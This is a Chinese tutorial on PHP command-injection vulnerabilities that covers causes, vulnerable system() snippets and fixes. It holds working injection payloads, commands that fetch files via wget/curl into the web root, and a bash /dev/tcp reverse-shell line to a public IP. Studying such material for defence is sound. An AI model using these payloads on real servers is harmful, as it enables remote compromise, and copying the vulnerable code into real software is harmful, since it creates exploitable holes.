Web安全之命令执行漏洞
内容:
命令执行漏洞的概述
命令执行漏洞的危害
命令执行漏洞的利用
命令执行漏洞的防御
背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
相关函数
在PHP中可以调用外部程序的常见函数:
- system(args) 有回显
- passthru(args)(有回显)
- exec(args) (回显最后一行-必须echo输出)
- shell_exec(args) (无回显-必须输出)
- 反引号:``
- popen(handle,mode)(无回显)
- proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
- $process = proc_open(‘dir’,$des,$pipes);
- echo stream_get_contents($pipes[1]);
漏洞危害
- 继承Web服务器程序的权限,去执行系统命令
- 继承Web服务器程序的权限,读写文件
- 反弹shell
- 控制整个网站
- 甚至控制整个服务器
system()函数漏洞利用_1
<?php
$arg = $_GET[‘cmd’];if($arg){system(“$arg”);
}
?>
• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig
system()函数漏洞利用_2
<?php
$arg = $_GET[‘cmd’];if($arg){system(“ping –c 3 $arg”);
}
?>
我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
• /?cmd=127.0.0.1| ifconfig
System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
中间加任意字符,后面都会执行-,//,/*/
system()函数漏洞利用_3
<?php
$arg = $_GET[‘cmd’];if($arg){system(“ls –al \“$arg\””);// ls –al “”;ifconfig;”
}
?>
逻辑与短路
<?php
if ($a = 100 | $b =100) {\# code...
}
// 短路与&&的特点,前面如果为真,才执行后面的,如果为假,都不执行。
// 逻辑与&的特点,前面无论真假,后面都执行
// 短路或||&的特点,前面如果为真,后面的不执行了,前面为假,后面执行
// 逻辑或|前面无论真假,后面都执行
echo "<pre>";
var_dump($a);
var_dump($b);
?>
• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”
system()函数利用_4
<?php
$arg = $_GET[‘cmd’];if($arg){system(“ls –al ‘$arg’”);
}
?>
在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’
漏洞利用
如果有写权限的话
- 执行pwd得到绝对路径
- 写文件:
• ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
• ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
• ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php
反弹shell
公网服务器执行 nc –lvv 8888
目标服务器上执行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1
漏洞修复方案
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
Web安全之命令执行漏洞相关推荐
- 【web安全】——命令执行漏洞(RCE)详解
作者名:Demo不是emo 主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...
- 漏洞情报 | 锐捷RSR路由器设备存在命令执行漏洞
点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 2021年4月14日,360漏洞云监测到锐捷网络官方通告了锐捷网络RSR路由器系列产品的Web管理存在命令执行漏洞(CNVD-2021 ...
- struts2漏洞_十大常见web漏洞——命令执行漏洞
命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...
- Web安全 RCE漏洞(命令执行漏洞的 测试和利用).
系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...
- WEB漏洞—RCE 代码及命令执行漏洞
什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...
- 30.WEB漏洞-RCE代码及命令执行漏洞
30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...
- 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...
- 【Web安全】DVWA之Command injection(命令执行漏洞)探索
文章目录 1 命令行注入 2 low 3 Medium 4 Middle 5 Impossible 1 命令行注入 命令执行漏洞的原理:在操作系统中, & .&& .| . | ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
最新文章
- uestWrapper.getSession(HttpServletRequestWrapper.java:241) ~[tomcat-embed-core-9.0.13.jar:9.0.13]
- html背景自动换,html页面换皮肤颜色、背景图片(更换页面背景,常驻缓存)刷新保存...
- php注册界面模板,WeUI注册页面
- micropython编译原理_C语言嵌入式Linux高级编程第9期:CPU和操作系统入门视频课程...
- 【教程】把PPT转WORD形式的方法
- TCP流式套接字的异步事件WSAAsyncSelect编程
- 判断用户Input输入的事件来进行登陆
- 数据结构C#版笔记--啥夫曼树(Huffman Tree)与啥夫曼编码(Huffman Encoding)
- 03 两个重要极限函数
- 关于 韩国 申明 豆浆 和 端午 是其国家创造或历史的 看法
- windows 设置目录不可执行程序
- 海量实时广告流平台(DSP广告系统)架构设计与实践
- 安装ubuntu20.04,从格式化磁盘到搭建全栈开发环境
- 2020年区块链行业十大趋势
- iOS模拟器运行报错Unable to install /xxx/build/ios/iphonesimulator/Runner.app
- svg格式的图片怎么放到word中?用这3种方法轻松解决!
- excel切片器显示错误_使用切片器在Excel中设置过滤条件
- 易语言5.7完美版 全套视频学习教程
- ubuntu系统下adb连接手机
- 天猫店群玩法解析,适合做天猫店群高利润玩法的类目有哪些?
热门文章
- 环境监控告警系统之TIM即时消息推送部署
- DL之NIN:Network in Network算法的简介(论文介绍)、架构详解、案例应用等配图集合之详细攻略
- DL之SoftmaxWithLoss:SoftmaxWithLoss算法(Softmax+交叉熵误差)简介、使用方法、应用案例之详细攻略
- ML之Hierarchical clustering:利用层次聚类算法来把100张图片自动分成红绿蓝三种色调
- 《疯狂Java讲义》8
- bzoj 4559 [JLoi2016]成绩比较 —— DP+拉格朗日插值
- mysql百万级分页优化
- GlobalAlloca GlobalLock GlobalUnlock函数的作用
- 《从零开始学Swift》学习笔记(Day 33)——属性观察者
- 在.Net中进行跨线程的控件操作(上篇:Control.Invoke)